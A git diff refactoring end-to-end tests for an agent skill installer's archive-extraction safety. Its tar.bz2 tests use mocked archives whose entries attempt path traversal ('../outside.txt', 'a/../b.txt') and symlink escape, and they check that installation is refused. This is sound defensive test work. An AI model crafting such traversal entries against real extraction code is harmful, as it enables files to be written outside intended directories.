a/src/agents/skills-install.download-tarbz2.e2e.test.ts b/src/agents/skills-install.download-tarbz2.e2e.test.ts index 1cadeb621e6..c163a7c790a 100644 --- a/src/agents/skills-install.download-tarbz2.e2e.test.ts +++ b/src/agents/skills-install.download-tarbz2.e2e.test.ts @@ -2,91 +2,125 @@ import fs from "node:fs/promises"; import os from "node:os"; import path from "node:path"; import { afterEach, beforeEach, describe, expect, it, vi } from "vitest"; +import { setTempStateDir, writeDownloadSkill } from "./skills-install.download-test-utils.js"; import { installSkill } from "./skills-install.js"; -const runCommandWithTimeoutMock = vi.fn(); -const scanDirectoryWithSummaryMock = vi.fn(); -const fetchWithSsrFGuardMock = vi.fn(); +const mocks = { + runCommand: vi.fn(), + scanSummary: vi.fn(), + fetchGuard: vi.fn(), +}; -const originalOpenClawStateDir = process.env.OPENCLAW_STATE_DIR; +function mockDownloadResponse() { + mocks.fetchGuard.mockResolvedValue({ + response: new Response(new Uint8Array([1, 2, 3]), { status: 200 }), + release: async () => undefined, + }); +} + +function runCommandResult(params?: Partial>) { + return { + code: 0, + stdout: "", + stderr: "", + signal: null, + killed: false, + ...params, + }; +} + +function mockTarExtractionFlow(params: { + listOutput: string; + verboseListOutput: string; + extract: "ok" | "reject"; +}) { + mocks.runCommand.mockImplementation(async (argv: unknown[]) => { + const cmd = argv as string[]; + if (cmd[0] === "tar" && cmd[1] === "tf") { + return runCommandResult({ stdout: params.listOutput }); + } + if (cmd[0] === "tar" && cmd[1] === "tvf") { + return runCommandResult({ stdout: params.verboseListOutput }); + } + if (cmd[0] === "tar" && cmd[1] === "xf") { + if (params.extract === "reject") { + throw new Error("should not extract"); + } + return runCommandResult({ stdout: "ok" }); + } + return runCommandResult(); + }); +} + +async function withTempWorkspace( + run: (params: { workspaceDir: string; stateDir: string }) => Promise, +) { + const workspaceDir = await fs.mkdtemp(path.join(os.tmpdir(), "openclaw-skills-install-")); + try { + const stateDir = setTempStateDir(workspaceDir); + await run({ workspaceDir, stateDir }); + } finally { + await fs.rm(workspaceDir, { recursive: true, force: true }).catch(() => undefined); + } +} + +async function writeTarBz2Skill(params: { + workspaceDir: string; + stateDir: string; + name: string; + url: string; + stripComponents?: number; +}) { + const targetDir = path.join(params.stateDir, "tools", params.name, "target"); + await writeDownloadSkill({ + workspaceDir: params.workspaceDir, + name: params.name, + installId: "dl", + url: params.url, + archive: "tar.bz2", + ...(typeof params.stripComponents === "number" + ? { stripComponents: params.stripComponents } + : {}), + targetDir, + }); +} + +function restoreOpenClawStateDir(originalValue: string | undefined): void { + if (originalValue === undefined) { + delete process.env.OPENCLAW_STATE_DIR; + return; + } + process.env.OPENCLAW_STATE_DIR = originalValue; +} + +const originalStateDir = process.env.OPENCLAW_STATE_DIR; afterEach(() => { - if (originalOpenClawStateDir === undefined) { - delete process.env.OPENCLAW_STATE_DIR; - } else { - process.env.OPENCLAW_STATE_DIR = originalOpenClawStateDir; - } + restoreOpenClawStateDir(originalStateDir); }); vi.mock("../process/exec.js", () => ({ - runCommandWithTimeout: (...args: unknown[]) => runCommandWithTimeoutMock(...args), + runCommandWithTimeout: (...args: unknown[]) => mocks.runCommand(...args), })); vi.mock("../infra/net/fetch-guard.js", () => ({ - fetchWithSsrFGuard: (...args: unknown[]) => fetchWithSsrFGuardMock(...args), + fetchWithSsrFGuard: (...args: unknown[]) => mocks.fetchGuard(...args), })); vi.mock("../security/skill-scanner.js", async (importOriginal) => { const actual = await importOriginal(); return { ...actual, - scanDirectoryWithSummary: (...args: unknown[]) => scanDirectoryWithSummaryMock(...args), + scanDirectoryWithSummary: (...args: unknown[]) => mocks.scanSummary(...args), }; }); -async function writeDownloadSkill(params: { - workspaceDir: string; - name: string; - installId: string; - url: string; - stripComponents?: number; - targetDir: string; -}): Promise { - const skillDir = path.join(params.workspaceDir, "skills", params.name); - await fs.mkdir(skillDir, { recursive: true }); - const meta = { - openclaw: { - install: [ - { - id: params.installId, - kind: "download", - url: params.url, - archive: "tar.bz2", - extract: true, - stripComponents: params.stripComponents, - targetDir: params.targetDir, - }, - ], - }, - }; - await fs.writeFile( - path.join(skillDir, "SKILL.md"), - `--- -name: ${params.name} -description: test skill -metadata: ${JSON.stringify(meta)} ---- - -# ${params.name} -`, - "utf-8", - ); - await fs.writeFile(path.join(skillDir, "runner.js"), "export {};\n", "utf-8"); - return skillDir; -} - -function setTempStateDir(workspaceDir: string): string { - const stateDir = path.join(workspaceDir, "state"); - process.env.OPENCLAW_STATE_DIR = stateDir; - return stateDir; -} - describe("installSkill download extraction safety (tar.bz2)", () => { beforeEach(() => { - runCommandWithTimeoutMock.mockReset(); - scanDirectoryWithSummaryMock.mockReset(); - fetchWithSsrFGuardMock.mockReset(); - scanDirectoryWithSummaryMock.mockResolvedValue({ + mocks.runCommand.mockReset(); + mocks.scanSummary.mockReset(); + mocks.fetchGuard.mockReset(); + mocks.scanSummary.mockResolvedValue({ scannedFiles: 0, critical: 0, warn: 0, @@ -96,99 +130,47 @@ describe("installSkill download extraction safety (tar.bz2)", () => { }); it("rejects tar.bz2 traversal before extraction", async () => { - const workspaceDir = await fs.mkdtemp(path.join(os.tmpdir(), "openclaw-skills-install-")); - try { - const stateDir = setTempStateDir(workspaceDir); - const targetDir = path.join(stateDir, "tools", "tbz2-slip", "target"); + await withTempWorkspace(async ({ workspaceDir, stateDir }) => { const url = "https://example.invalid/evil.tbz2"; - fetchWithSsrFGuardMock.mockResolvedValue({ - response: new Response(new Uint8Array([1, 2, 3]), { status: 200 }), - release: async () => undefined, + mockDownloadResponse(); + mockTarExtractionFlow({ + listOutput: "../outside.txt\n", + verboseListOutput: "-rw-r--r-- 0 0 0 0 Jan 1 00:00 ../outside.txt\n", + extract: "reject", }); - runCommandWithTimeoutMock.mockImplementation(async (argv: unknown[]) => { - const cmd = argv as string[]; - if (cmd[0] === "tar" && cmd[1] === "tf") { - return { code: 0, stdout: "../outside.txt\n", stderr: "", signal: null, killed: false }; - } - if (cmd[0] === "tar" && cmd[1] === "tvf") { - return { - code: 0, - stdout: "-rw-r--r-- 0 0 0 0 Jan 1 00:00 ../outside.txt\n", - stderr: "", - signal: null, - killed: false, - }; - } - if (cmd[0] === "tar" && cmd[1] === "xf") { - throw new Error("should not extract"); - } - return { code: 0, stdout: "", stderr: "", signal: null, killed: false }; - }); - - await writeDownloadSkill({ + await writeTarBz2Skill({ workspaceDir, + stateDir, name: "tbz2-slip", - installId: "dl", url, - targetDir, }); const result = await installSkill({ workspaceDir, skillName: "tbz2-slip", installId: "dl" }); expect(result.ok).toBe(false); - expect( - runCommandWithTimeoutMock.mock.calls.some((call) => (call[0] as string[])[1] === "xf"), - ).toBe(false); - } finally { - await fs.rm(workspaceDir, { recursive: true, force: true }).catch(() => undefined); - } + expect(mocks.runCommand.mock.calls.some((call) => (call[0] as string[])[1] === "xf")).toBe( + false, + ); + }); }); it("rejects tar.bz2 archives containing symlinks", async () => { - const workspaceDir = await fs.mkdtemp(path.join(os.tmpdir(), "openclaw-skills-install-")); - try { - const stateDir = setTempStateDir(workspaceDir); - const targetDir = path.join(stateDir, "tools", "tbz2-symlink", "target"); + await withTempWorkspace(async ({ workspaceDir, stateDir }) => { const url = "https://example.invalid/evil.tbz2"; - fetchWithSsrFGuardMock.mockResolvedValue({ - response: new Response(new Uint8Array([1, 2, 3]), { status: 200 }), - release: async () => undefined, + mockDownloadResponse(); + mockTarExtractionFlow({ + listOutput: "link\nlink/pwned.txt\n", + verboseListOutput: "lrwxr-xr-x 0 0 0 0 Jan 1 00:00 link -> ../outside\n", + extract: "reject", }); - runCommandWithTimeoutMock.mockImplementation(async (argv: unknown[]) => { - const cmd = argv as string[]; - if (cmd[0] === "tar" && cmd[1] === "tf") { - return { - code: 0, - stdout: "link\nlink/pwned.txt\n", - stderr: "", - signal: null, - killed: false, - }; - } - if (cmd[0] === "tar" && cmd[1] === "tvf") { - return { - code: 0, - stdout: "lrwxr-xr-x 0 0 0 0 Jan 1 00:00 link -> ../outside\n", - stderr: "", - signal: null, - killed: false, - }; - } - if (cmd[0] === "tar" && cmd[1] === "xf") { - throw new Error("should not extract"); - } - return { code: 0, stdout: "", stderr: "", signal: null, killed: false }; - }); - - await writeDownloadSkill({ + await writeTarBz2Skill({ workspaceDir, + stateDir, name: "tbz2-symlink", - installId: "dl", url, - targetDir, }); const result = await installSkill({ @@ -198,107 +180,53 @@ describe("installSkill download extraction safety (tar.bz2)", () => { }); expect(result.ok).toBe(false); expect(result.stderr.toLowerCase()).toContain("link"); - } finally { - await fs.rm(workspaceDir, { recursive: true, force: true }).catch(() => undefined); - } + }); }); it("extracts tar.bz2 with stripComponents safely (preflight only)", async () => { - const workspaceDir = await fs.mkdtemp(path.join(os.tmpdir(), "openclaw-skills-install-")); - try { - const stateDir = setTempStateDir(workspaceDir); - const targetDir = path.join(stateDir, "tools", "tbz2-ok", "target"); + await withTempWorkspace(async ({ workspaceDir, stateDir }) => { const url = "https://example.invalid/good.tbz2"; - fetchWithSsrFGuardMock.mockResolvedValue({ - response: new Response(new Uint8Array([1, 2, 3]), { status: 200 }), - release: async () => undefined, + mockDownloadResponse(); + mockTarExtractionFlow({ + listOutput: "package/hello.txt\n", + verboseListOutput: "-rw-r--r-- 0 0 0 0 Jan 1 00:00 package/hello.txt\n", + extract: "ok", }); - runCommandWithTimeoutMock.mockImplementation(async (argv: unknown[]) => { - const cmd = argv as string[]; - if (cmd[0] === "tar" && cmd[1] === "tf") { - return { - code: 0, - stdout: "package/hello.txt\n", - stderr: "", - signal: null, - killed: false, - }; - } - if (cmd[0] === "tar" && cmd[1] === "tvf") { - return { - code: 0, - stdout: "-rw-r--r-- 0 0 0 0 Jan 1 00:00 package/hello.txt\n", - stderr: "", - signal: null, - killed: false, - }; - } - if (cmd[0] === "tar" && cmd[1] === "xf") { - return { code: 0, stdout: "ok", stderr: "", signal: null, killed: false }; - } - return { code: 0, stdout: "", stderr: "", signal: null, killed: false }; - }); - - await writeDownloadSkill({ + await writeTarBz2Skill({ workspaceDir, + stateDir, name: "tbz2-ok", - installId: "dl", url, stripComponents: 1, - targetDir, }); const result = await installSkill({ workspaceDir, skillName: "tbz2-ok", installId: "dl" }); expect(result.ok).toBe(true); - expect( - runCommandWithTimeoutMock.mock.calls.some((call) => (call[0] as string[])[1] === "xf"), - ).toBe(true); - } finally { - await fs.rm(workspaceDir, { recursive: true, force: true }).catch(() => undefined); - } + expect(mocks.runCommand.mock.calls.some((call) => (call[0] as string[])[1] === "xf")).toBe( + true, + ); + }); }); it("rejects tar.bz2 stripComponents escape", async () => { - const workspaceDir = await fs.mkdtemp(path.join(os.tmpdir(), "openclaw-skills-install-")); - try { - const stateDir = setTempStateDir(workspaceDir); - const targetDir = path.join(stateDir, "tools", "tbz2-strip-escape", "target"); + await withTempWorkspace(async ({ workspaceDir, stateDir }) => { const url = "https://example.invalid/evil.tbz2"; - fetchWithSsrFGuardMock.mockResolvedValue({ - response: new Response(new Uint8Array([1, 2, 3]), { status: 200 }), - release: async () => undefined, + mockDownloadResponse(); + mockTarExtractionFlow({ + listOutput: "a/../b.txt\n", + verboseListOutput: "-rw-r--r-- 0 0 0 0 Jan 1 00:00 a/../b.txt\n", + extract: "reject", }); - runCommandWithTimeoutMock.mockImplementation(async (argv: unknown[]) => { - const cmd = argv as string[]; - if (cmd[0] === "tar" && cmd[1] === "tf") { - return { code: 0, stdout: "a/../b.txt\n", stderr: "", signal: null, killed: false }; - } - if (cmd[0] === "tar" && cmd[1] === "tvf") { - return { - code: 0, - stdout: "-rw-r--r-- 0 0 0 0 Jan 1 00:00 a/../b.txt\n", - stderr: "", - signal: null, - killed: false, - }; - } - if (cmd[0] === "tar" && cmd[1] === "xf") { - throw new Error("should not extract"); - } - return { code: 0, stdout: "", stderr: "", signal: null, killed: false }; - }); - - await writeDownloadSkill({ + await writeTarBz2Skill({ workspaceDir, + stateDir, name: "tbz2-strip-escape", - installId: "dl", url, stripComponents: 1, - targetDir, }); const result = await installSkill({ @@ -307,11 +235,9 @@ describe("installSkill download extraction safety (tar.bz2)", () => { installId: "dl", }); expect(result.ok).toBe(false); - expect( - runCommandWithTimeoutMock.mock.calls.some((call) => (call[0] as string[])[1] === "xf"), - ).toBe(false); - } finally { - await fs.rm(workspaceDir, { recursive: true, force: true }).catch(() => undefined); - } + expect(mocks.runCommand.mock.calls.some((call) => (call[0] as string[])[1] === "xf")).toBe( + false, + ); + }); }); }); diff --git a/src/agents/skills-install.download-test-utils.ts b/src/agents/skills-install.download-test-utils.ts new file mode 100644 index 00000000000..951bd556227 --- /dev/null +++ b/src/agents/skills-install.download-test-utils.ts @@ -0,0 +1,50 @@ +import fs from "node:fs/promises"; +import path from "node:path"; + +export function setTempStateDir(workspaceDir: string): string { + const stateDir = path.join(workspaceDir, "state"); + process.env.OPENCLAW_STATE_DIR = stateDir; + return stateDir; +} + +export async function writeDownloadSkill(params: { + workspaceDir: string; + name: string; + installId: string; + url: string; + archive: "tar.gz" | "tar.bz2" | "zip"; + stripComponents?: number; + targetDir: string; +}): Promise { + const skillDir = path.join(params.workspaceDir, "skills", params.name); + await fs.mkdir(skillDir, { recursive: true }); + const meta = { + openclaw: { + install: [ + { + id: params.installId, + kind: "download", + url: params.url, + archive: params.archive, + extract: true, + stripComponents: params.stripComponents, + targetDir: params.targetDir, + }, + ], + }, + }; + await fs.writeFile( + path.join(skillDir, "SKILL.md"), + `--- +name: ${params.name} +description: test skill +metadata: ${JSON.stringify(meta)} +--- + +# ${params.name} +`, + "utf-8", + ); + await fs.writeFile(path.join(skillDir, "runner.js"), "export {};\n", "utf-8"); + return skillDir; +} diff --git a/src/agents/skills-install.download.e2e.test.ts b/src/agents/skills-install.download.e2e.test.ts index 540922ea6f1..d297b716f49 100644 --- a/src/agents/skills-install.download.e2e.test.ts +++ b/src/agents/skills-install.download.e2e.test.ts @@ -4,6 +4,7 @@ import os from "node:os"; import path from "node:path"; import * as tar from "tar"; import { afterEach, beforeEach, describe, expect, it, vi } from "vitest"; +import { setTempStateDir, writeDownloadSkill } from "./skills-install.download-test-utils.js"; import { installSkill } from "./skills-install.js"; const runCommandWithTimeoutMock = vi.fn(); @@ -36,48 +37,6 @@ vi.mock("../security/skill-scanner.js", async (importOriginal) => { }; }); -async function writeDownloadSkill(params: { - workspaceDir: string; - name: string; - installId: string; - url: string; - archive: "tar.gz" | "tar.bz2" | "zip"; - stripComponents?: number; - targetDir: string; -}): Promise { - const skillDir = path.join(params.workspaceDir, "skills", params.name); - await fs.mkdir(skillDir, { recursive: true }); - const meta = { - openclaw: { - install: [ - { - id: params.installId, - kind: "download", - url: params.url, - archive: params.archive, - extract: true, - stripComponents: params.stripComponents, - targetDir: params.targetDir, - }, - ], - }, - }; - await fs.writeFile( - path.join(skillDir, "SKILL.md"), - `--- -name: ${params.name} -description: test skill -metadata: ${JSON.stringify(meta)} ---- - -# ${params.name} -`, - "utf-8", - ); - await fs.writeFile(path.join(skillDir, "runner.js"), "export {};\n", "utf-8"); - return skillDir; -} - async function fileExists(filePath: string): Promise { try { await fs.stat(filePath); @@ -87,10 +46,37 @@ async function fileExists(filePath: string): Promise { } } -function setTempStateDir(workspaceDir: string): string { - const stateDir = path.join(workspaceDir, "state"); - process.env.OPENCLAW_STATE_DIR = stateDir; - return stateDir; +async function seedZipDownloadResponse() { + const zip = new JSZip(); + zip.file("hello.txt", "hi"); + const buffer = await zip.generateAsync({ type: "nodebuffer" }); + fetchWithSsrFGuardMock.mockResolvedValue({ + response: new Response(buffer, { status: 200 }), + release: async () => undefined, + }); +} + +async function installZipDownloadSkill(params: { + workspaceDir: string; + name: string; + targetDir: string; +}) { + const url = "https://example.invalid/good.zip"; + await seedZipDownloadResponse(); + await writeDownloadSkill({ + workspaceDir: params.workspaceDir, + name: params.name, + installId: "dl", + url, + archive: "zip", + targetDir: params.targetDir, + }); + + return installSkill({ + workspaceDir: params.workspaceDir, + skillName: params.name, + installId: "dl", + }); } describe("installSkill download extraction safety", () => { @@ -261,30 +247,11 @@ describe("installSkill download extraction safety", () => { const workspaceDir = await fs.mkdtemp(path.join(os.tmpdir(), "openclaw-skills-install-")); try { const stateDir = setTempStateDir(workspaceDir); - const url = "https://example.invalid/good.zip"; - - const zip = new JSZip(); - zip.file("hello.txt", "hi"); - const buffer = await zip.generateAsync({ type: "nodebuffer" }); - fetchWithSsrFGuardMock.mockResolvedValue({ - response: new Response(buffer, { status: 200 }), - release: async () => undefined, - }); - - await writeDownloadSkill({ + const result = await installZipDownloadSkill({ workspaceDir, name: "relative-targetdir", - installId: "dl", - url, - archive: "zip", targetDir: "runtime", }); - - const result = await installSkill({ - workspaceDir, - skillName: "relative-targetdir", - installId: "dl", - }); expect(result.ok).toBe(true); expect( await fs.readFile( @@ -301,30 +268,11 @@ describe("installSkill download extraction safety", () => { const workspaceDir = await fs.mkdtemp(path.join(os.tmpdir(), "openclaw-skills-install-")); try { setTempStateDir(workspaceDir); - const url = "https://example.invalid/good.zip"; - - const zip = new JSZip(); - zip.file("hello.txt", "hi"); - const buffer = await zip.generateAsync({ type: "nodebuffer" }); - fetchWithSsrFGuardMock.mockResolvedValue({ - response: new Response(buffer, { status: 200 }), - release: async () => undefined, - }); - - await writeDownloadSkill({ + const result = await installZipDownloadSkill({ workspaceDir, name: "relative-traversal", - installId: "dl", - url, - archive: "zip", targetDir: "../outside", }); - - const result = await installSkill({ - workspaceDir, - skillName: "relative-traversal", - installId: "dl", - }); expect(result.ok).toBe(false); expect(result.stderr).toContain("Refusing to install outside the skill tools directory"); expect(fetchWithSsrFGuardMock.mock.calls.length).toBe(0); diff --git a/src/agents/skills-install.ts b/src/agents/skills-install.ts index e6528202ca5..6bea6b75c76 100644 --- a/src/agents/skills-install.ts +++ b/src/agents/skills-install.ts @@ -6,6 +6,7 @@ import { runCommandWithTimeout, type CommandOptions } from "../process/exec.js"; import { scanDirectoryWithSummary } from "../security/skill-scanner.js"; import { resolveUserPath } from "../utils.js"; import { installDownloadSpec } from "./skills-install-download.js"; +import { formatInstallFailureMessage } from "./skills-install-output.js"; import { hasBinary, loadWorkspaceSkillEntries, @@ -32,45 +33,6 @@ export type SkillInstallResult = { warnings?: string[]; }; -function summarizeInstallOutput(text: string): string | undefined { - const raw = text.trim(); - if (!raw) { - return undefined; - } - const lines = raw - .split("\n") - .map((line) => line.trim()) - .filter(Boolean); - if (lines.length === 0) { - return undefined; - } - - const preferred = - lines.find((line) => /^error\b/i.test(line)) ?? - lines.find((line) => /\b(err!|error:|failed)\b/i.test(line)) ?? - lines.at(-1); - - if (!preferred) { - return undefined; - } - const normalized = preferred.replace(/\s+/g, " ").trim(); - const maxLen = 200; - return normalized.length > maxLen ? `${normalized.slice(0, maxLen - 1)}…` : normalized; -} - -function formatInstallFailureMessage(result: { - code: number | null; - stdout: string; - stderr: string; -}): string { - const code = typeof result.code === "number" ? `exit ${result.code}` : "unknown exit"; - const summary = summarizeInstallOutput(result.stderr) ?? summarizeInstallOutput(result.stdout); - if (!summary) { - return `Install failed (${code})`; - } - return `Install failed (${code}): ${summary}`; -} - function withWarnings(result: SkillInstallResult, warnings: string[]): SkillInstallResult { if (warnings.length === 0) { return result; diff --git a/src/agents/skills.agents-skills-directory.e2e.test.ts b/src/agents/skills.agents-skills-directory.e2e.test.ts index 917bc996ad1..78d862c4be7 100644 --- a/src/agents/skills.agents-skills-directory.e2e.test.ts +++ b/src/agents/skills.agents-skills-directory.e2e.test.ts @@ -25,6 +25,22 @@ ${body ?? `# ${name}\n`} ); } +function buildSkillsPrompt(workspaceDir: string, managedDir: string, bundledDir: string): string { + return buildWorkspaceSkillsPrompt(workspaceDir, { + managedSkillsDir: managedDir, + bundledSkillsDir: bundledDir, + }); +} + +async function createWorkspaceSkillDirs() { + const workspaceDir = await fs.mkdtemp(path.join(os.tmpdir(), "openclaw-")); + return { + workspaceDir, + managedDir: path.join(workspaceDir, ".managed"), + bundledDir: path.join(workspaceDir, ".bundled"), + }; +} + describe("buildWorkspaceSkillsPrompt — .agents/skills/ directories", () => { let fakeHome: string; @@ -38,9 +54,7 @@ describe("buildWorkspaceSkillsPrompt — .agents/skills/ directories", () => { }); it("loads project .agents/skills/ above managed and below workspace", async () => { - const workspaceDir = await fs.mkdtemp(path.join(os.tmpdir(), "openclaw-")); - const managedDir = path.join(workspaceDir, ".managed"); - const bundledDir = path.join(workspaceDir, ".bundled"); + const { workspaceDir, managedDir, bundledDir } = await createWorkspaceSkillDirs(); await writeSkill({ dir: path.join(managedDir, "shared-skill"), @@ -54,10 +68,7 @@ describe("buildWorkspaceSkillsPrompt — .agents/skills/ directories", () => { }); // project .agents/skills/ wins over managed - const prompt1 = buildWorkspaceSkillsPrompt(workspaceDir, { - managedSkillsDir: managedDir, - bundledSkillsDir: bundledDir, - }); + const prompt1 = buildSkillsPrompt(workspaceDir, managedDir, bundledDir); expect(prompt1).toContain("Project agents version"); expect(prompt1).not.toContain("Managed version"); @@ -68,18 +79,13 @@ describe("buildWorkspaceSkillsPrompt — .agents/skills/ directories", () => { description: "Workspace version", }); - const prompt2 = buildWorkspaceSkillsPrompt(workspaceDir, { - managedSkillsDir: managedDir, - bundledSkillsDir: bundledDir, - }); + const prompt2 = buildSkillsPrompt(workspaceDir, managedDir, bundledDir); expect(prompt2).toContain("Workspace version"); expect(prompt2).not.toContain("Project agents version"); }); it("loads personal ~/.agents/skills/ above managed and below project .agents/skills/", async () => { - const workspaceDir = await fs.mkdtemp(path.join(os.tmpdir(), "openclaw-")); - const managedDir = path.join(workspaceDir, ".managed"); - const bundledDir = path.join(workspaceDir, ".bundled"); + const { workspaceDir, managedDir, bundledDir } = await createWorkspaceSkillDirs(); await writeSkill({ dir: path.join(managedDir, "shared-skill"), @@ -93,10 +99,7 @@ describe("buildWorkspaceSkillsPrompt — .agents/skills/ directories", () => { }); // personal wins over managed - const prompt1 = buildWorkspaceSkillsPrompt(workspaceDir, { - managedSkillsDir: managedDir, - bundledSkillsDir: bundledDir, - }); + const prompt1 = buildSkillsPrompt(workspaceDir, managedDir, bundledDir); expect(prompt1).toContain("Personal agents version"); expect(prompt1).not.toContain("Managed version"); @@ -107,18 +110,13 @@ describe("buildWorkspaceSkillsPrompt — .agents/skills/ directories", () => { description: "Project agents version", }); - const prompt2 = buildWorkspaceSkillsPrompt(workspaceDir, { - managedSkillsDir: managedDir, - bundledSkillsDir: bundledDir, - }); + const prompt2 = buildSkillsPrompt(workspaceDir, managedDir, bundledDir); expect(prompt2).toContain("Project agents version"); expect(prompt2).not.toContain("Personal agents version"); }); it("loads unique skills from all .agents/skills/ sources alongside others", async () => { - const workspaceDir = await fs.mkdtemp(path.join(os.tmpdir(), "openclaw-")); - const managedDir = path.join(workspaceDir, ".managed"); - const bundledDir = path.join(workspaceDir, ".bundled"); + const { workspaceDir, managedDir, bundledDir } = await createWorkspaceSkillDirs(); await writeSkill({ dir: path.join(managedDir, "managed-only"), @@ -141,10 +139,7 @@ describe("buildWorkspaceSkillsPrompt — .agents/skills/ directories", () => { description: "Workspace only skill", }); - const prompt = buildWorkspaceSkillsPrompt(workspaceDir, { - managedSkillsDir: managedDir, - bundledSkillsDir: bundledDir, - }); + const prompt = buildSkillsPrompt(workspaceDir, managedDir, bundledDir); expect(prompt).toContain("managed-only"); expect(prompt).toContain("personal-only"); expect(prompt).toContain("project-only"); diff --git a/src/agents/skills.build-workspace-skills-prompt.syncs-merged-skills-into-target-workspace.e2e.test.ts b/src/agents/skills.build-workspace-skills-prompt.syncs-merged-skills-into-target-workspace.e2e.test.ts index 507faa8f965..c0a76029294 100644 --- a/src/agents/skills.build-workspace-skills-prompt.syncs-merged-skills-into-target-workspace.e2e.test.ts +++ b/src/agents/skills.build-workspace-skills-prompt.syncs-merged-skills-into-target-workspace.e2e.test.ts @@ -2,30 +2,9 @@ import fs from "node:fs/promises"; import os from "node:os"; import path from "node:path"; import { describe, expect, it } from "vitest"; +import { writeSkill } from "./skills.e2e-test-helpers.js"; import { buildWorkspaceSkillsPrompt, syncSkillsToWorkspace } from "./skills.js"; -async function writeSkill(params: { - dir: string; - name: string; - description: string; - metadata?: string; - body?: string; -}) { - const { dir, name, description, metadata, body } = params; - await fs.mkdir(dir, { recursive: true }); - await fs.writeFile( - path.join(dir, "SKILL.md"), - `--- -name: ${name} -description: ${description}${metadata ? `\nmetadata: ${metadata}` : ""} ---- - -${body ?? `# ${name}\n`} -`, - "utf-8", - ); -} - async function pathExists(filePath: string): Promise { try { await fs.access(filePath); diff --git a/src/agents/skills.buildworkspaceskillstatus.e2e.test.ts b/src/agents/skills.buildworkspaceskillstatus.e2e.test.ts index 945a32d711b..eca3ca853f0 100644 --- a/src/agents/skills.buildworkspaceskillstatus.e2e.test.ts +++ b/src/agents/skills.buildworkspaceskillstatus.e2e.test.ts @@ -3,28 +3,7 @@ import os from "node:os"; import path from "node:path"; import { describe, expect, it } from "vitest"; import { buildWorkspaceSkillStatus } from "./skills-status.js"; - -async function writeSkill(params: { - dir: string; - name: string; - description: string; - metadata?: string; - body?: string; -}) { - const { dir, name, description, metadata, body } = params; - await fs.mkdir(dir, { recursive: true }); - await fs.writeFile( - path.join(dir, "SKILL.md"), - `--- -name: ${name} -description: ${description}${metadata ? `\nmetadata: ${metadata}` : ""} ---- - -${body ?? `# ${name}\n`} -`, - "utf-8", - ); -} +import { writeSkill } from "./skills.e2e-test-helpers.js"; describe("buildWorkspaceSkillStatus", () => { it("reports missing requirements and install options", async () => { diff --git a/src/agents/skills.loadworkspaceskillentries.e2e.test.ts b/src/agents/skills.loadworkspaceskillentries.e2e.test.ts index 7e0188e0dba..9fbd198ea17 100644 --- a/src/agents/skills.loadworkspaceskillentries.e2e.test.ts +++ b/src/agents/skills.loadworkspaceskillentries.e2e.test.ts @@ -4,28 +4,6 @@ import path from "node:path"; import { describe, expect, it } from "vitest"; import { loadWorkspaceSkillEntries } from "./skills.js"; -async function _writeSkill(params: { - dir: string; - name: string; - description: string; - metadata?: string; - body?: string; -}) { - const { dir, name, description, metadata, body } = params; - await fs.mkdir(dir, { recursive: true }); - await fs.writeFile( - path.join(dir, "SKILL.md"), - `--- -name: ${name} -description: ${description}${metadata ? `\nmetadata: ${metadata}` : ""} ---- - -${body ?? `# ${name}\n`} -`, - "utf-8", - ); -} - async function setupWorkspaceWithProsePlugin() { const workspaceDir = await fs.mkdtemp(path.join(os.tmpdir(), "openclaw-")); const managedDir = path.join(workspaceDir, ".managed"); diff --git a/src/agents/skills.resolveskillspromptforrun.e2e.test.ts b/src/agents/skills.resolveskillspromptforrun.e2e.test.ts index 163b218e218..f07166e95f7 100644 --- a/src/agents/skills.resolveskillspromptforrun.e2e.test.ts +++ b/src/agents/skills.resolveskillspromptforrun.e2e.test.ts @@ -1,30 +1,6 @@ -import fs from "node:fs/promises"; -import path from "node:path"; import { describe, expect, it } from "vitest"; import { resolveSkillsPromptForRun } from "./skills.js"; -async function _writeSkill(params: { - dir: string; - name: string; - description: string; - metadata?: string; - body?: string; -}) { - const { dir, name, description, metadata, body } = params; - await fs.mkdir(dir, { recursive: true }); - await fs.writeFile( - path.join(dir, "SKILL.md"), - `--- -name: ${name} -description: ${description}${metadata ? `\nmetadata: ${metadata}` : ""} ---- - -${body ?? `# ${name}\n`} -`, - "utf-8", - ); -} - describe("resolveSkillsPromptForRun", () => { it("prefers snapshot prompt when available", () => { const prompt = resolveSkillsPromptForRun({ diff --git a/src/agents/skills/frontmatter.ts b/src/agents/skills/frontmatter.ts index e97b5ab68cd..12e9f926a41 100644 --- a/src/agents/skills/frontmatter.ts +++ b/src/agents/skills/frontmatter.ts @@ -10,6 +10,7 @@ import { parseFrontmatterBlock } from "../../markdown/frontmatter.js"; import { getFrontmatterString, normalizeStringList, + parseOpenClawManifestInstallBase, parseFrontmatterBool, resolveOpenClawManifestBlock, resolveOpenClawManifestInstall, @@ -22,30 +23,23 @@ export function parseFrontmatter(content: string): ParsedSkillFrontmatter { } function parseInstallSpec(input: unknown): SkillInstallSpec | undefined { - if (!input || typeof input !== "object") { + const parsed = parseOpenClawManifestInstallBase(input, ["brew", "node", "go", "uv", "download"]); + if (!parsed) { return undefined; } - const raw = input as Record; - const kindRaw = - typeof raw.kind === "string" ? raw.kind : typeof raw.type === "string" ? raw.type : ""; - const kind = kindRaw.trim().toLowerCase(); - if (kind !== "brew" && kind !== "node" && kind !== "go" && kind !== "uv" && kind !== "download") { - return undefined; - } - + const { raw } = parsed; const spec: SkillInstallSpec = { - kind: kind, + kind: parsed.kind as SkillInstallSpec["kind"], }; - if (typeof raw.id === "string") { - spec.id = raw.id; + if (parsed.id) { + spec.id = parsed.id; } - if (typeof raw.label === "string") { - spec.label = raw.label; + if (parsed.label) { + spec.label = parsed.label; } - const bins = normalizeStringList(raw.bins); - if (bins.length > 0) { - spec.bins = bins; + if (parsed.bins) { + spec.bins = parsed.bins; } const osList = normalizeStringList(raw.os); if (osList.length > 0) { diff --git a/src/agents/subagent-announce.format.e2e.test.ts b/src/agents/subagent-announce.format.e2e.test.ts index fd2eadc27b7..c8fb45d05d5 100644 --- a/src/agents/subagent-announce.format.e2e.test.ts +++ b/src/agents/subagent-announce.format.e2e.test.ts @@ -22,6 +22,21 @@ let configOverride: ReturnType<(typeof import("../config/config.js"))["loadConfi scope: "per-sender", }, }; +const defaultOutcomeAnnounce = { + task: "do thing", + timeoutMs: 1000, + cleanup: "keep" as const, + waitForCompletion: false, + startedAt: 10, + endedAt: 20, + outcome: { status: "ok" } as const, +}; + +async function getSingleAgentCallParams() { + await expect.poll(() => agentSpy.mock.calls.length).toBe(1); + const call = agentSpy.mock.calls[0]?.[0] as { params?: Record }; + return call?.params ?? {}; +} function loadSessionStoreFixture(): Record> 